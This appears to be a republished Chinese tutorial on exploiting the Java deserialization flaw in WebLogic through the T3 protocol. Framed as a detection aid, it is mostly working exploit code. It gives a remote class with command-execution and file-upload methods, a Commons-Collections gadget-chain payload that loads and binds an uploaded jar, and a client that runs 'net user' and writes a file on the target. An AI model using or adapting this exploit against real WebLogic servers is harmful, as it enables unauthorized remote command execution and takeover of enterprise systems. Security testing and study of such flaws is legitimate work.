ASP源码.NET源码PHP源码JSP源码JAVA源码DELPHI源码PB源码VC源码VB源码Android源码
当前位置:首页 >> 系统运维 >> Java反序列化漏洞之weblogic本地利用实现篇

Java反序列化漏洞之weblogic本地利用实现篇(1/2)

来源:网络整理     时间:2016-05-24     关键词:weblogic

本篇文章主要介绍了"Java反序列化漏洞之weblogic本地利用实现篇",主要涉及到weblogic方面的内容,对于系统运维感兴趣的同学可以参考一下: 0×00前言weblogic在国内的的应用范围比较广,支撑着很多企业的核心业务,所以一直没有把weblogic的利用工具发布出来。但是最近很多甲方的朋友问我有没...

0×00前言

weblogic在国内的的应用范围比较广,支撑着很多企业的核心业务,所以一直没有把weblogic的利用工具发布出来。但是最近很多甲方的朋友问我有没有方便的工具检测他们公司部署在内网的weblogic,其实这个漏洞公布了这么久,维护人员也都意识到了这个漏洞的危害性,只是网上公开的检测方法易用性不是太好,检测起来比较麻烦,所以就有了这篇文章。

0×01 思路

因为weblogic会把异常直接打印到服务器端的控制台上,所以在jboss中通过异常封装回显的方法在weblogic上并不适用(参考另一篇文章:Java反序列化漏洞执行命令回显实现及Exploit下载)。但是weblogic有更方便的方法,weblogic是通过T3协议来传输序列化的类,那我们就可以通过T3协议来实现exploit和server的通信,因为weblogic的T3协议和WEB协议共用同一个端口,所以只要能访问weblogic,就可以利用,不需要加载远程类,因此对服务器能否连外网没有要求。关于T3协议的详细介绍,此次不再赘述,如果读者对此不熟悉也没关系,只要知道T3协议允许客户端远程调用服务端的类就可以了。所以我们整理一下思路:

(1) 首先我们在本地创建一个可以供我们远程调用的类并编译。
(2)把编译好的类上传至服务器。
(3)在远程服务器上注册并绑定我们上传的类。
(4)本地远程调用我们的类,执行我们想要执行的指令。
(5)执行完毕,反注册远程类。
(6)删除类文件。

0×02实现

(1)创建我们的远程类,在类中实现两个方法,执行系统命令获取回显和上传文本文件,该类必须继承java.rmi.Remote接口,代码如下:

接口:

public interface InitApp extends java.rmi.Remote {
      String runCmd(String cmd) ;
  String putFile(String Content,String Path);
}

实现类:

public class InitAppImpl implements InitApp{   
  private String name;
  public InitAppImpl(String s) throws RemoteException {
    super();
    name = s;
  }
  /**
   * Returns a string.
   *
   * @return results of cmd
   *
   */
  public String runCmd(String cmd)  {
      try
      {
      Process proc = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null) {
        sb.append(line).append("\n");
        }
        return sb.toString();
      }
      catch(Exception e)
      {
          return e.getMessage();
      }
  }
  public String putFile(String Content,String Path) {
      try
      {
          FileOutputStream fo=new FileOutputStream(Path);
          fo.write(Content.getBytes());
          fo.close();
          File f=new File(Path);
          if (f.exists())
          {
              return Path+"上传成功!已验证存在。";
          }
          else
          {
              return Path+"上传成功!";
          }

      }
      catch(Exception e)
      {
          return e.getMessage();
      }

  }

  public static void main(String args[]) throws Exception {        
    try {
      InitAppImpl obj = new InitAppImpl("RemoteClass");
      Context ctx = new InitialContext();
      ctx.bind("RemoteClass", obj);   
    }
    catch (Exception e) {
      System.err.println("RemoteClass: an exception occurred:");
      System.err.println(e.getMessage());
      throw e;
    }
  }
}

(2) 编译并上传:

把前一步编译好的文件打包成jar,为了保证老版本weblogic的通用型,最好用比较老版本的jdk来编译。编译之后,以字节数组的形式放进payload,上传至服务器端。

(3) 在远程服务器上注册并绑定我们上传的类。

上传之后,通过发送执行注册绑定功能的payload,绑定我们上传的远程类,即执行我们远程类的main方法即可。payload代码如下:

public class GenInstallPayload {

     public static byte[] Gen(String OS) throws Exception
     {
         String Path="file:/c:/windows/temp/test.jar";
         if (!OS.equals("Windows"))
         {
            Path="file:/tmp/test.jar ";
         }
         final Transformer[] transforms = new Transformer[] {
         new ConstantTransformer(java.net.URLClassLoader.class),
         // getConstructor class.class classname
         new InvokerTransformer("getConstructor",
         new Class[] { Class[].class },
         new Object[] { new Class[] { java.net.URL[].class } }),
         new InvokerTransformer(
         "newInstance",
         new Class[] { Object[].class },
         new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
         Path) } } }),
         new InvokerTransformer("loadClass",
         new Class[] { String.class }, new Object[] { "weblogic.jndi.internal.InitAppImpl" }),
         // set the target reverse ip and port
         new InvokerTransformer("getMethod", new Class[] {
                 String.class, Class[].class }, new Object[] {
                 "main", new Class[]{String[].class} }),
         // invoke
         new InvokerTransformer("invoke",new Class[] {
                 Object.class, Object[].class }, new Object[] {
                 null, new Object[]{new String[]{"just for test"}} }) };
         Transformer transformerChain = new ChainedTransformer(transforms);
         Map innermap = new HashMap();
         innermap.put("value", "value");
         Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
         Class cls = Class
         .forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
         ctor.setAccessible(true);
         Object instance = ctor.newInstance(Retention.class, outmap);
         ByteArrayOutputStream bo=new ByteArrayOutputStream(10);
         ObjectOutputStream out = new ObjectOutputStream(bo);
            out.writeObject(instance);
            out.flush();
            out.close();
            return bo.toByteArray();
     }
}

(4) 本地远程调用我们的类,执行我们想要执行的指令:

既然我们的远程类已经上传,并在对方服务器上注册,下面我们就可以通过weblogic的T3协议来调用了,当然利用的是weblogic的web服务端口,废话不多说,给出本地调用类代码如下:

public class HelloClient
{
  // Defines the JNDI context factory.
  public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
  int port;
  String host;

  private static void usage() {
    System.err.println("Usage: java HelloClient  ");
  } 

  public HelloClient() {}

  public static void main(String[] argv) throws Exception {
    if (argv.length < 2) {
      usage();
      return;
    }
    String host = argv[0];
    int port = 0;
    try {
      port = Integer.parseInt(argv[1]);
    }
    catch (NumberFormatException nfe) {
      usage();
      throw nfe;
    }
    try {
      InitialContext ic = getInitialContext("t3://" + host + ":" + port);
      InitApp obj = (InitApp) ic.lookup("RemoteClass ");
      System.out.println("Successfully connected to HelloServer on " +
                         host + " at port " +
                         port);
String CmdResult= obj.runCmd("net user");
 System.out.println (CmdResult) ;
String UploadResult= obj.putFile("just for test", "c:/test.txt");
     System.out.println(UploadResult);
    }
    catch (Exception ex) {
      System.err.println("An exception occurred: "+ex.getMessage());
      throw ex;
    }
  }

  public static InitialContext getInitialContext(String url)
    throws NamingException
  {
    Hashtable env = new Hashtable();
    env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
    env.put(Context.PROVIDER_URL, url);
    return new InitialContext(env);
  } 
}

下面我们来测试一下,直接eclipse运行HelloClient类,RunConfigurations里面设置IP和端口参数,测试IP为我的虚拟机,端口7001,返回结果如下:

完美回显:)。

验证文件成功上传。

相关图片

相关文章